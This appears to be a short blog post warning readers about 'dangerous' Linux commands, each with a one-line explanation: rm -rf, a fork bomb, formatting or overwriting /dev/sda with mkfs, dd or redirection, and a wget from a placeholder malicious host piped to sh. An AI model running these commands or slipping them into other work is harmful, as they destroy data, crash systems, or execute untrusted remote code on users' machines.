Tag: script

“Dangerous” Linux Commands

Of course, You will never accidentally run these commands, right?

  • rm -rf
    This command will force the deletion of directories and files.
  • :(){:|:&};:
    I haven’t tried this, but I’ve read it causes a ‘bomb’.. forking until the system crashes.
  • mkfs.ext3 /dev/sda
    This will format the drive.
  • command> /dev/sda
    This writes raw data to the drive, resulting in a total loss of data.
  • dd if=/dev/random of=/dev/sda
    This will write random data to the drive.
  • wget http://maliciouswebsite.com -O- | sh
    This will download any script and execute it.
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